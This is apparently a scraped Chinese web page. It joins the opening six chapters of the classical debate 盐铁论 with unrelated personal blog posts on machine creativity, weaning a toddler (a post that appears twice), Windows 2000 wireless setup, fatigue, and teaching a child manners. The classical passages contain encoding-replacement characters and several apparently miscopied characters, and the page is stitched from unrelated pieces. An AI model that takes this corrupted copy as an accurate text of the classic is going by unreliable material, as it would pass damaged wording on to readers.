大夫曰:"古之立国家者,开本末之途,通有无之用,市朝以一其求,致士民,聚万货,农商工师各得所欲,交易而退。易曰:'通其变,使民不倦。'故工不出,则农用乏;商不出,则宝货绝。农用乏,则谷不殖;宝货绝,则财用匮。故盐、铁、均输,所以通委财而调缓急。罢之,不便也。"
文学曰:"夫导民以德则民归厚;示民以利,则民俗薄。俗薄则背义而趋利,趋利则百姓交于道而接于市。老子曰:'贫国若有余。'非多财也,嗜欲众而民躁也。是以王者崇本退末,以礼义防民欲
,实菽粟货财。市,商不通无用之物,工不作无用之器。故商所以通郁滞,工所以备器械,非治国之本务也。"
大夫曰:"管子云:'国有沃野之饶而民不足于食者,器械不备也。有山海之货而民不足于财者,商工不备也。'陇、蜀之丹漆旄羽,荆、扬之皮革骨象,江南之楠梓竹箭,燕、齐之鱼盐旃裘,兖、豫之漆丝��,养生送终之具也,待商而通,待工而成。故圣人作为舟楫之用,以通川谷,服牛驾马,以达陵陆;致远穷深,所以交庶物而便百姓。是以先帝建铁官以赡农用,开均输以足民财;盐、铁、均输,万民所戴仰而取给者,罢之,不便也。"
文学曰:"国有沃野之饶而民不足于食者,工商盛而本业荒也;有山海之货而民不足于财者,不务民用而淫巧众也。故川源不能实漏卮,山海不能赡溪壑。是以盘庚萃居,舜藏黄金,高帝禁商贾不得仕宦,所以遏贪鄙之俗,而醇至诚之风也。排困市井,防塞利门,而民犹为非也,况上之为利乎?传曰:'诸侯好利则大夫鄙,大夫鄙则士贪,士贪则庶人盗。'是开利孔为民罪梯也。"
大夫曰:"往者,郡国诸侯各以其方物贡输,往来烦杂,物多苦恶,或不偿其费。故郡国置输官以相给运
,而便远方之贡,故曰均输。开委府于京师,以笼货物。贱即买,贵则卖。是以县官不失实,商贾无所贸利,故曰平准。平准则民不失职,均输则民齐劳逸。故平准、均输,所以平万物而便百姓,非开利孔而为民罪梯者也。"
文学曰:"古者之赋税于民也,因其所工,不求所拙。农人纳其获,女工效其功。今释其所有,责其所无。百姓贱卖货物,以便上求。间者,郡国或令民作布絮,吏恣留难,与之为市。吏之所入,非独齐、阿之缣,蜀、汉之布也,亦民间之所为耳。行奸卖平,农民重苦,女工再税,未见输之均也。县官猥发,阖门擅市,则万物�收。万物�收,则物腾跃。腾跃,则商贾侔利。自市,则吏容奸。豪吏富商积货储物以待其急,轻贾奸吏收贱以取贵,未见准之平也。盖古之均输,所以齐劳逸而便贡输,非以为利而贾万物也。"
力耕第二
大夫曰:"王者塞天财,禁关市,执准守时,以轻重御民。丰年岁登,则储积以备乏绝;凶年恶岁,则行币物;流有余而调不足也。昔禹水汤旱,百姓匮乏,或相假以接衣食。禹以历山之金,汤以庄山之铜,铸币以赎其民,而天下称仁。往者财用不足,战士或不得禄,而山东被灾,齐、赵大饥,赖均输之畜,仓廪之积,战士以奉,饥民以赈。故均输之物,府库之财,非所以贾万民而专奉兵师之用,亦所以赈困乏而备水旱之灾也。"
文学曰:"古者,十一而税,泽梁以时入而无禁,黎民咸被南亩而不失其务。故三年耕而余一年之蓄,九年耕有三年之蓄。此禹、汤所以备水旱而安百姓也。草莱不辟,田畴不治,虽擅山海之财,通百末之利,犹不能赡也。是以古者尚力务本而种树繁,躬耕趣时而衣食足,虽累凶年而人不病也。故衣食者民之本,稼穑者民之务也。二者修,则国富而民安也。诗云:'百室盈止,妇子宁止'也。"
大夫曰:"贤圣治家非一宝,富国非一道。昔管仲以权谲霸,而纪氏以强本亡。使治家养生必于农,则舜不甄陶而伊尹不为庖。故善为国者,天下之下我高,天下之轻我重。以末易其本,以虚荡其实。今山泽之财,均输之藏,所以御轻重而役诸侯也。汝、汉之金,纤微之贡,所以诱外国而钓胡、羌之宝也。夫中国一端之缦,得匈奴累金之物,而损敌国之用。是以骡驴�驼,衔尾入塞,���马,尽为我畜,�貂狐貉,采旃文�,充于内府,而璧玉珊瑚琉璃,咸为国之宝。是则外国之物内流,而利不外泄也。异物内流则国用饶,利不外泄则民用给矣。诗曰:'百室盈止,妇子宁止。'"
文学曰:"古者,商通物而不豫,工致牢而不伪。故君子耕稼田鱼,其实一也。商则长诈,工则饰骂,内怀窥窬而心不怍,是以薄夫欺而敦夫薄。昔桀女乐充宫室,文绣衣裳,故伊尹高逝游薄,而女乐终废其国。今骡驴之用,不中牛马之功,�貂旃�,不益锦绨之实。美玉珊瑚出于昆山,珠玑犀象出于桂林,此距汉万有余里。计耕桑之功,资财之费,是一物而售百倍其价也,一揖而中万钟之粟也。夫上好珍怪,则淫服下流,贵远方之物,则货财外充。是以王者不珍无用以节其民,不爱奇货以富其国。故理民之道,在于节用尚本,分土井田而已。"
大夫曰:"自京师东西南北,历山川,经郡国,诸殷富大都,无非街衢五通,商贾之所凑,万物之所殖者。故圣人因天时,智者因地财,上士取诸人,中士劳其形。长沮、桀溺,无百金之积,跖�之徒,无猗顿之富,宛、周、齐、鲁,商遍天下。故乃商贾之富,或累万金,追利乘羡之所致也。富国何必用本农,足民何必井田也?"
文学曰:"洪水滔天,而有禹之绩,河水泛滥,而有宣房之功。商纣暴虐,而有孟津之谋,天下烦扰,而有乘羡之富。夫上古至治,民朴而贵本、安愉而寡求。当此之时,道路罕行,市朝生草。故耕不强者无以充虚,织不强者无以掩形。虽有凑会之要,陶、宛之术,无所施其巧。自古及今,不施而得报,不劳而有功者,未之有也。"
通有第三
大夫曰:"燕之涿、蓟,赵之邯郸,魏之温轵,韩之荥阳,齐之临淄,楚之宛、陈,郑之阳翟,三川之二周,富冠海内,皆为天下名都,非有助之耕其野而田其地者也,居五诸之冲,跨街衢之路也。故物丰者民衍,宅近市者家富。富在术数,不在劳身;利在势居,不在力耕也。
文学曰:"荆、扬南有桂林之饶,内有江、湖之利,左陵阳之金,右蜀、汉之材,伐木而树谷,燔莱而播粟,火耕而水耨,地广而饶财;然民�窳偷生,好衣甘食,虽白屋草庐,歌讴鼓琴,日给月单,朝歌暮戚。赵、中山带大河,纂四通神衢,当天下之蹊,商贾错于路,诸侯交于道;然民淫好末,侈靡而不务本,田畴不修,男女矜饰,家无斗筲,鸣琴在室。是以楚、赵之民,均贫而寡富。宋、卫、韩、梁,好本稼穑,编户齐民,无不家衍人给。故利在自惜,不在势居街衢;富在俭力趣时,不在岁司羽鸠也。"
大夫曰:"五行:东方木,而丹、章有金铜之山;南方火,而交趾有大海之川;西方金,而蜀、陇有名材之林;北方水,而幽都有积沙之地。此天地所以均有无而通万物也。今吴、越之竹,隋、唐之材,不可胜用,而曹、卫、梁、宋,采棺转尸;江、湖之鱼,莱、黄之鲐,不可胜食,而邹、鲁、周、韩,藜藿蔬食。天地之利无不赡,而山海之货无不富也;然百姓匮乏,财用不足,多寡不调,而天下财不散也。"
文学曰:"古者,采椽不�,茅茨不翦,衣布褐,饭土硎,铸金为�,埏埴为器,工不造奇巧,世不宝不可衣食之物,各安其居,乐其俗,甘其食,便其器。是以远方之物不交,而昆山之玉不至。今世俗坏而竞于淫靡,女极纤微,工极技巧,雕素朴而尚珍怪,钻山石而求金银,没深渊求珠玑,设机陷求犀象,张网罗求翡翠,求蛮、貉之物以眩中国,徙邛、�之货,致之东海,交万里之财,旷日费功,无益于用。是以褐夫匹妇,劳疲力屈,而衣食不足也。故王者禁溢利,节漏费。溢利禁则反本,漏费节则民用给。是以生无乏资,死无转尸也。"
大夫曰:"古者,宫室有度,舆服以庸;采椽茅茨,非先王之制也。君子节奢刺俭,俭则固。昔孙叔敖相楚,妻不衣帛,马不秣粟。孔子曰:'不可,大俭极下。'此蟋蟀所为作也。管子曰:'不饰宫室,则材木不可胜用,不充庖厨,则禽兽不损其寿。无末利,则本业无所出,无黼黻,则女工不施。'故工商梓匠,邦国之用,器械之备也。自古有之,非独于此。弦高贩牛于周,五�赁车入秦,公输子以规矩,欧冶以�铸。语曰:'百工居肆,以致其事。'农商交易,以利本末。山居泽处,蓬蒿尧�,财物流通,有以均之。是以多者不独衍,少者不独馑。若各居其处,食其食,则是橘柚不鬻,朐卤之盐不出,旃�不市,而吴、唐之材不用也。"
文学曰:"孟子云:'不违农时,谷不可胜食。蚕麻以时,布帛不可胜衣也。斧斤以时,材木不可胜用。田渔以时,鱼肉不可胜食。'若则饰宫室,增台榭,梓匠�巨为小,以圆为方,上成云气,下成山林,则材木不足用也。男子去本为末,雕文刻镂,以象禽兽,穷物究变,则谷不足食也。妇女饰微治细,以成文章,极伎尽巧,则丝布不足衣也。庖宰烹杀胎卵,煎炙齐和,穷极五味,则鱼肉不足食也。当今世,非患禽兽不损,材木不胜,患僭侈之无穷也;非患无旃�橘柚,患无狭庐糠糟也。"
错币第四
大夫曰:"交币通施,民事不及,物有所�也。计本量委,民有饥者,谷有所藏也。智者有百人之功,愚者有不更本之事。人君不调,民有相万之富也。此其所以或储百年之余,或不厌糟糠也。民大富,则不可以禄使也;大强,则不可以罚威也。非散聚均利者不齐。故人主积其食,守其用,制其有余,调其不足,禁溢羡,厄利涂,然后百姓可家给人足也。"
文学曰:"古者,贵德而贱利,重义而轻财。三王之时,迭盛迭衰。衰则扶之,倾则定之。是以夏忠、殷敬、周文,庠序之教,恭让之礼,粲然可得而观也。及其后,礼义弛崩,风俗灭息,故自食禄之君子,违于义而竞于财,大小相吞,泪转相倾。此所以或储百年之余,或无以充虚蔽形也。古之仕者不穑,田者不渔,抱关击柝,皆有常秩,不得兼利尽物。如此,则愚智同功,不相倾也。诗云:'彼有遗秉,此有滞穗,伊寡妇之利。'言不尽物也。"
大夫曰:"汤、文继衰,汉兴乘弊。一质一文,非苟易常也。俗弊更法,非务变古也,亦所以救失扶衰也。故教与俗改,弊与世易。夏后以玄贝,周人以紫石,后世或金钱刀布。物极而衰,终始之运也。故山泽无征,则君臣同利,刀币无禁,则奸贞并行。夫臣富则相侈,下专利则相倾也。"
文学曰:"古者,市朝而无刁币,各以其所有易所无,抱布贸丝而已。后世即有龟贝金钱,交施之也。币数变而民滋伪。夫救伪以质,防失以礼。汤、文继衰,革法易化,而殷、周道兴。汉初乘弊,而不改易,畜利变币,欲以反本,是犹以煎止燔,以火止沸也。上好礼则民�饰,上好货则下死利也。"
大夫曰:"文帝之时,纵民得铸钱、冶铁、煮盐。吴王擅鄣海泽,邓通专西山。山东奸猾,咸聚吴国,秦、雍、汉、蜀因邓氏。吴、邓钱布天下,故有铸钱之禁。禁御之法立,而奸伪息,奸伪息,则民不期于妄得,而各务其职;不反本何为?故统一,则民不二也;币由上,则下不疑也。"
文学曰:"往古,币众财通而民乐。其后,稍去旧币,更行白金龟龙,民多巧新币。币数易而民益疑。于是废天下诸钱,而专命水衡三官作。吏匠侵利,或不中式,故有薄厚轻重。农人不习,物模拟之,信故疑新,不知奸贞。商贾以美贸恶,以半易倍。买则失实,卖则失理,其疑或滋益甚。夫铸伪金钱以有法,而钱之善恶无增损于故。择钱则物稽滞,而用人尤被其苦。春秋曰:'算不及蛮、夷则不行。'故王者外不鄣海泽以便民用,内不禁刀币以通民施。"
禁耕第五
大夫曰:"家人有宝器,尚函匣而藏之,况人主之山海乎?夫权利之处,必在深山穷泽之中,非豪民不能通其利。异时,盐铁未笼,布衣有朐邴,人君有吴王,皆盐铁初议也。吴王专山泽之饶,薄赋其民,赈赡穷乏,以成私威。私威积而逆节之心作。夫不蚤绝其源而忧其末,若决吕梁,沛然,其所伤必多矣。太公曰:'一家害百家,百家害诸侯,诸侯害天下,王法禁之。'今放民于权利,罢盐铁以资暴强,遂其贪心,众邪群聚,私门成党,则强御日以不制,而�兼之徒奸形成也。"
文学曰:"民人藏于家,诸侯藏于国,天子藏于海内。故民人以垣墙为藏闭,天子以四海为匣匮。天子适诸侯,升自阼阶,诸侯纳管键,执策而听命,示莫为主也。是以王者不畜聚,下藏于民,远浮利,务民之义;义礼立,则民化上。若是,虽汤、武生存于世,无所容其虑。工商之事,欧冶之任,何奸之能成?三桓专鲁,六卿分晋,不以盐铁。故权利深者,不在山海,在朝廷;一家害百家,在萧墙,而不在朐邴也。"
大夫曰:"山海有禁,而民不倾;贵贱有平,而民不疑。县官设衡立准,人从所欲,虽使五尺童子适市,莫之能欺。今罢去之,则豪民擅其用而专其利。决市闾巷,高下在口吻,贵贱无常,端坐而民豪,是以养强抑弱而藏于跖也。强养弱抑,则齐民消;若众秽之盛而害五谷。一家害百家,不在朐邴,如何也?"
文学曰:"山海者,财用之宝路也。铁器者,农夫之死士也。死士用,则仇雠灭,仇雠灭,则田野辟,田野辟而五谷熟。宝路开,则百姓赡而民用给,民用给则国富。国富而教之以礼,则行道有让,而工商不相豫,人怀敦朴以相接,而莫相利。夫秦、楚、燕、齐,土力不同,刚柔异势,巨小之用,居句之宜,党殊俗易,各有所便。县官笼而一之,则铁器失其宜,而农民失其便。器用不便,则农夫罢于野而草莱不辟。草莱不辟,则民困乏。故盐冶之处,大傲皆依山川,近铁炭,其势咸远而作剧。郡中卒践更者,多不勘,责取庸代。县吧或以户口赋铁,而贱平其准。良家以道次发僦运盐、铁,烦费,百姓病苦之。愚窃见一官之伤千里,未睹其在朐邴也。"
复古第六
大夫曰:"故扇水都尉彭祖宁归,言:'盐、铁令品,令品甚明。卒徒衣食县官,作铸铁器,给用甚众,无妨于民。而吏或不良,禁令不行,故民烦苦之。'令意总一盐、铁,非独为利入也,将以建本抑末,离朋党,禁淫侈,绝�兼之路也。古者,名山大泽不以封,为下之专利也。山海之利,广泽之畜,天地之藏也,皆宜属少府;陛下不私,以属大司农,以佐助百姓。浮食奇民,好欲擅山海之货,以致富业,役利细民,故沮事议者众。铁器兵刃,天下之大用也,非众庶所宜事也。往者,豪强大家,得管山海之利,采铁石鼓铸,煮海为盐。一家聚众,或至千余人,大抵尽收放流人民也。远去乡里,弃坟墓,依倚大家,聚深山穷泽之中,成奸伪之业,遂朋党之权,其轻为非亦大矣!今者,广进贤之途,练择守尉,不待去盐、铁而安民也。"
文学曰:"扇水都尉所言,当时之权,一切之术也,不可以久行而传世,此非明王所以君国子民之道也。诗云:'哀哉为犹,匪先民是程,匪大犹是经,维迩言是听。'此诗人刺不通于王道,而善为权利者。孝武皇帝攘九夷,平百越,师旅数起,粮食不足。故立田官,置钱,入谷射官,救急赡不给。今陛下继大功之勤,养劳倦之民,此用麋鬻之时;公卿宜思所以安集百姓,致利除害,辅明主以仁义,修润洪业之道。明主即位以来,六年于兹,公卿无请减除不急之官,省罢机利之人。人权县太久,民良望于上。陛下宣圣德,昭明光,令郡国贤良、文学之士,乘传诣公车,议五帝、三王之道,六艺之风,册陈安危利害之分,指意粲然。今公卿辨议,未有所定,此所谓守小节而遗大体,抱小利而忘大利者也。"
大夫曰:"宇栋之内,燕雀不知天地之高;坎井之蛙,不知江海之大;穷夫否妇,不知国家之虑;负荷之商,不知猗顿之富。先帝计外国之利,料胡、越之兵,兵敌弱而易制,用力少而功大,故因势变以主四夷,地滨山海,以属长城,北略河外,开路匈奴之乡,功未卒。盖文王受命伐崇,作吧于丰;武王继之,载尸以行,破商擒纣,遂成王业。曹�弃三北之耻,而复侵地;管仲负当世之累,而立霸功。故志大者遗小,用权者离俗。有司思师望之计,遂先帝之业,志在绝胡、貉,擒单于,故未遑扣扃之义,而录拘儒之论。"
文学曰:"燕雀离巢宇而有鹰隼之忧,坎井之蛙离其居而有蛇鼠之患,况翱翔千仞而游四海乎?其祸必大矣!此李斯所以折翼,而赵高没渊也。闻文、武受命,伐不义以安诸侯大夫,未闻弊诸夏以役夷、狄也。昔秦常举天下之力以事胡、越,竭天下之财以奉其用,然众不能毕;而以百万之师,为一夫之任,此天下共闻也。且数战则民劳,久师则兵弊,此百姓所疾苦,而拘儒之所忧也。"
=============================================
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)
返回:诸子百家目录
机器有创造性吗?
无论是程序还是机械结构的机器,都在执行一个大的循环操作,在这个大的循环操作中,又有许多流线式的多个操作结构,就是河流的一段一段,或者公路上的车流,走过一段路,又走上另一段路。
机器都是按着既定的程序进行的,那么有没有可能,让机器拥有创造性呢?
人工智能发展了这么多年,表面看上去比较新奇的一些东西,实际还离真正的人工智能相去甚远。比如sony的那个机器狗,还是一些宠物似的机器人什么的,包括现在走入媒体报道的机器人大赛什么的,都是按照一些既定的程序操作的,并不是真正的人工智能。
如果让机器拥有真正的智慧呢?智慧的几个特征:创造力、联想能力、丰富的知识。还有其它方面呢?不管怎么说,我认为前二个方面对机器来说非常重要,也是阻碍人工智能的最大障碍。第三个方面,正是机器最擅长的地方。
那么,机器能够有创造力、联想能力吗?
今天有个想法,如果基于这个算法,会不会让机器拥有创造力?先从人的创造力说起。人在这方面的能力是怎么得来的。我觉的创造力也不神奇,在于人类会做梦,会遗忘和记忆,现在的事情有可能已经将来遗忘,只留一点儿印象,过去的事情,却可以记忆清晰,哪怕一点儿细节。过去和现在的事情杂揉在一起,就会产生神奇的力量。
人类拥有最大的幸福,就在于拥有时间,活在时间里。机器则没有时间的影响,或者受时间的影响很小。如果使用算法,将时间因素的影响,加到结论的最终判断上面,会怎么样呢?这样过去和现在的事物,就在于如何取舍哪处该遗忘,哪处该清晰地记忆了。关键是如何取舍!
人类的取舍规则是什么?是重要的事情记忆,简单重复的事情忽略,就象我们每天在眼睛里看到的,重大的事件,帅哥美女,在大街上随便见到的,也会记忆清晰。但在大街上时,那么多的像素,99%的其实是忽略掉的。能注意和记忆的,也只是与已有的知识有关的,比如审美,比如异常的变动(重大事件)。
如何判断,什么事物是简单的、重复的?什么事物是重要的?如果资料库足够丰富的话,会不会使用某种规则,可以建立起来这种规则。当然,现在的资料库还是太贫乏,需要更多的样本,视频、声音、更多的像素,当世界上最穷的地方,也能像英国伦郭那样,遍布摄像头的时候,我相信就有了足够的资料库,也有了清晰的判断规则。
有了这些规则,就有了可以使用的算法,也就有了让机器判断,在一件事情的判断上,哪些因素是重要的,该通过清晰的"记忆"影响当前判断,哪些因素是简单重复的,不重要的,该通过模糊的"记忆"减小影响因子,这样,就会产生有效的人工智能。
但这样一个规则下的人工智能,能达到多深的程度?
不管怎么说,只要让机器有了创造力,人类会不会进化到另一种境界,或者说,必须面对这个进化的压力,或者说,也必须面临选择?
还有个重要的问题。当前的程序问题。第一,如何有效的影响和控制物理上的机械,当然是通过电子电路。第二,现在的程序,如何完成自我演化,借助互联网的力量,进行自我进化。没错,就是要完成自我进化,和生命体一样,要不断地进化。搜集资料,建立样本,接触和反应,然后修改自身规则。恩,最后这一条"修改自身规则",既危险,又不可缺少。模仿生命体的进化,必须得不断修正修改,对外界的响应规则吧?如果不改变,也就不会进化。
这个响应规则,如果仅仅是参数上的修改,肯定不会起到作用。也不会仅仅只是true or
false的判断,必须是全方面的规则添加和删除以及更正,至少包含insert,delete和update三种方法。也许,程序体的进化,才会让机器最终拥有创造力。
恩,权当科幻吧。不过一切皆有可能,是不是?而且,用我这台很老的笔记本电脑,我也可以做一些有趣的东西。如果现在就放到互联网上,发布出去,几十年之后,这个程序体会不会成长为一个有趣的东东?
善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心断奶。
要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。可能是希望自己快快长大,也能拥有平等对话的权利吧。从以往对他的观察看,其实对他说什么事情,他基本都能听的懂,当然有时也会装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂。所以要提高警惕,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就像开发商劝人拆迁似的,软硬兼施恩威并施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?
于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,路上的漂亮姐姐们不再围上来夸他可爱了,魅力有的减弱吧。有时自己拿出护肤品,找爸爸找妈妈帮他打开盖子。怕他浪费折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从春运售票学的。据说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,前一阵儿还组织了若干个专题组研究,却一直避重就轻,不能解决问题。最后发言人出来说,主要是现在铁路上没钱啊,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。打着各种名目向国家要钱,和中石油一样有才,其实建立个实名的电话售票系统或网上售票系统,很便宜的,甚至用领导们几顿饭钱就能办了。可惜的老百姓们,还不知道铁路上担了多大的任务,好像困难的要累跨似的。
小善宝还没有经历过春运售票,更未经历中国特色的诸干事物,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,一不小心就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。
和kevin(善宝)在床上玩了一会儿。不知何时,看到了自己身上的线球球。于是就扯了起来,还要爸爸打个下手。每次扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,又折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄着睡觉呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑上去,同时咧嘴大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说,要不和些奶粉吧,老这样善宝也睡不着呀。他停了动作,似乎等着我去执行这个计划,看我没有动弹,还在陪他唱着歌谣,马上又咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊
善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心给他断奶。
要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。从以往对他的观察看,其实说什么事情,他基本都能听的懂,当然有时有装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就开发商劝人拆迁似的,几乎软硬兼施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?
于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,魅力有的减弱吧,有时还拿着护肤品,找爸爸找妈妈给他打开盖子。怕他折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从铁路销售上学的,不是说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,却一直避重就轻,最后发言人出来说,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。小善宝还没有经历过春运售票,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,于是就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。
和kevin(善宝)在床上玩了一会儿。不知何时,认上自己身上的线球球。扯了起来,还要爸爸打个下手,只要扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,就折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑过来,同时嘴里咧开了大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说要不活些奶粉吧,老这样也睡不着。他停了动作,似乎等着下文,看我没有动弹,还在陪他唱着歌谣,马上咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊
补充一下,最后这块网卡,确实非常非常稳定,在多个ap测试后,几乎看不到信号的波动,下载速率基本保持恒定
win2000下能配置无线网络吗?可以肯定地说,肯定可以。同时也可以肯定地说,无法使用系统自带的工具进行无线网络配置,我有四五种无线网卡,总结起来,有如下几种方法可以配置无线网络:
1、在"网络连接",属性,"配置"中,可以看到无线网卡本身的一些属性,如果这些属性中,有的驱动是直接有配置的界面,可以输入SSID,WEP等值的地方,
2,要是没有可以输入这些值的地方,就只能使用网卡自带的配置工具。这些配置工具,必须到原厂的网站下载。
windows 2000如果打了sp4,在系统服务中,会出现wireless
configuration服务,但这个东西其实并没有多少用处,无法提供ssid/wep的输入界面。我没有尝试windows提供的命令行网络配置,要是你使用这样的方法成功了,请给我发个邮件告知。
网上所有的文章,几乎都使用了第二种方法,都是使用了厂家提供的工具。其实这种方法也挺好,厂家提供的工具非常方便,许多不过可以配置认证方法,加密方式,无线接入点选择,而且还有其它的一些功能细节,使用起来还是比较方便的。
linux下就方便多了,可以有各种的配置工具,配置命令都可以快速地完成无线配置。但最近比较疑惑,我选择的几个linux版本,都无法提供令人满意的用户体验,关键在于,这些版本的linux和windows2000相比,在我这台老笔记本上面,速度太慢,不是说2.6
的 kernel,速度提升很高吗?怎么比windows 2000慢很多吗?舍弃了那么多功能,我只能使用windows
2000完成一些简单的文档写作,听听音乐啥的,更多的就干不了,连个脚本都没法用,更没法写个简单的程序了。总之,用了几周的windows
2000,让我变的又傻又懒了。
感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。
最近教孩子学会了虚伪。感觉这是件好事,于是记录一下。
碰到其他阿姨时,善宝露出灿烂的微笑,奶声奶气地喊"阿姨啊",最后一定要带个长长的啊音。最夸张的时,和别人再见时,小手挥舞的那个频率,象是随意的把工具一丢的动作,带着兴高彩烈的情绪。我都注意小家伙很久了,根本不拿眼睛看着别人,仍然认真地玩着自己的玩具,只是听到大人说,要跟谁再见的时候,挥起自己的小手来,朝某个方向表示几下。
和其他小朋友一起玩的时候,也不打人了,有时摸摸其它小孩的头,有时则是把自己的玩具拿出来,换人家的玩。
善宝在不知不觉中,学会了礼貌,也压抑了自己最初的想法,不能打人,见人要打招呼,离开时要再见。
其实,这么小的孩子,心里怎么会关心这些事情呢?他最关心的是什么?最关心自己拉的一泡尿,一堆巴巴,与自己最有关的一些事情,睡觉吃饭什么的。每次蹲在地上尿了,就拉大人的手,要求过去给他擦干净了。每次拉巴巴了,就"啊啊啊"地指着,象是自豪地向大家展示自己的一项杰作。所有的游戏和故事,都是围绕着孩子自己的吃喝拉散,再加上一点儿简单的游戏,这些才是一岁零三个月的小孩,最最关心的事情。其他的,都是浮云,只不过照顾了下大人的情绪,按照大人的意愿,去适应这个世界而已。
可是,虚伪虽然是件可憎的事情,却也是没有办法的事情。许多时候,世界都需要礼貌、交换.....这样一堆一类的规则。世界不能没有规则,否则由着人的本性,会变的更加黑暗和暴力。规则,可以让自己适应别人,迁就别人,照顾到别人的利益,在与其它人相处的时候,不能无限放大自己的人性和需求,而是在各方的需求中达到平衡。对,规则才能平衡。
不管怎么说,小孩学会虚伪,学会这个世界的规则,也不是坏事,他需要照顾着别人的利益,在自己幸福的同时,也让别人开心幸福,让共同的利益最大化。这样,这个世界才能更美好。
现在的社会,也许处于变革期,规则还不完善,所以才有腐败,有贪污,有各种各样只顾着自己的利益,砸小商贩的摊子,不顾矿工的死活,劳工没有保障,农民只能温饱,白领变成房奴,不公平的高考制度,刚毕业就失业,啃老族,经济体服务买办,剧亏的美国国债,高价买进石油和铁矿粉。。。。。许多时候,成人世界只要学会小孩子遵守的一些规则就行了。小学生守则就挺好,人们能做好吗?
